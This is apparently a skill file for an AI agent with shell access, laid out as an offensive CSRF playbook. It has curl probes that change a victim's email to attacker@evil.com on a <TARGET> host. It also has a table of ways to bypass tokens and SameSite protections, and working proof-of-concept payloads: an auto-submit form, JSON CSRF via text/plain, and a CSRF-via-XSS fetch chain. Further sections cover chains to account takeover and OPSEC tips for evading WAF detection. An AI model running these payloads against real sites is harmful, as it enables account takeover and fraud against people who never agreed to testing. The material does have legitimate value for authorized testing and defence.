| name | csrf |
| description | Cross-Site Request Forgery — missing/invalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login/logout CSRF, and CSRF-via-XSS chains to account takeover. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"csrf xsrf anti-csrf token same-site samesite cookie state-changing forge cross-site request","mitre_attack":"T1204","subdomain":"execution","tags":"web-application, csrf, xsrf, samesite, account-takeover"} |
CSRF Playbook
Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that
trusts ambient cookies and lacks a per-request unguessable token is forgeable.
Severity scales with the action: password/email change, fund transfer, role
grant → account takeover (Critical). Read-only CSRF (no state change) → Info.
1. Detection — is the endpoint actually protected?
COOKIE='session=...; remember=...'
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "email=attacker@evil.com"
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "csrf=AAAAAAAA&email=attacker@evil.com"
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
"https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"
HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.
2. Bypass / misconfig matrix
| Class | Server flaw | Bypass |
|---|
| Token absent | no token at all | direct cross-origin form POST |
| Token not validated | header sent but never checked | send empty / random token |
| Token not bound to session | token from another account works | mint a token in attacker account, use against victim |
| Predictable token | sequential / timestamp / md5(userid) | precompute |
| Token in URL | leaks via Referer / logs / shoulder | steal then replay |
| Method-override | _method=POST, X-HTTP-Method-Override: POST | turn protected POST into a GET CSRF |
| JSON CSRF | accepts Content-Type: application/json from forms | submit form with enctype=text/plain + crafted body, or use fetch |
| Content-type bypass | only validates token when CT=application/x-www-form-urlencoded | switch to text/plain or multipart/form-data |
| SameSite=Lax gap | top-level GET still sends cookie | GET-based state change, or <form method=POST> triggered by user click |
| SameSite=None | no protection at all | classic cross-site form |
| Missing on subset | only /admin/* protected | unprotected sister endpoint (/api/v1/email) |
| Login CSRF | login endpoint has no token | force victim into attacker's account → captures victim activity |
| Logout CSRF | logout has no token | denial-of-service / phishing reset |
| Double-submit cookie flaw | cookie not __Host- prefixed / set from any subdomain | XSS on subdomain plants the cookie + matching body value |
| Referer-only check | header strippable | <meta name="referrer" content="no-referrer"> on attacker page |
3. Exploit PoC
3.1 Classic form CSRF (auto-submit)
<form id="x" action="https://<TARGET>/account/email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script>
3.2 JSON CSRF via text/plain
<form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
3.3 CSRF via XSS (defeats double-submit / SameSite)
fetch('/account/csrf-token').then(r => r.text()).then(t => {
fetch('/account/email', {
method: 'POST', credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
body: 'email=attacker@evil.com'
});
});
4. Chains
- CSRF → ATO: change email → password reset → full takeover.
- Login CSRF → activity capture: victim posts data into attacker's account.
- CSRF → privilege grant: forge
role=admin mass-assignment POST.
- Subdomain XSS → double-submit bypass: write the CSRF cookie from a sibling, then forge.
5. Tools
- Burp Suite — Engagement Tools → Generate CSRF PoC, CSRF Scanner extension
- XSRFProbe — automated CSRF audit (
xsrfprobe -u https://<TARGET>)
- Bolt — context-aware CSRF scanner
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|
Many POST from foreign Origin | WAF Origin/Referer rule | Use blank/null Referer to test, throttle |
| Repeated token mutation on one session | App-side anomaly | Toggle one variable per request |
| Auto-submit form referrer from attacker host | Access-log correlation | Host PoC on in-scope collector during authorized tests |
Decision Gate: CSRF confirmed → exploitation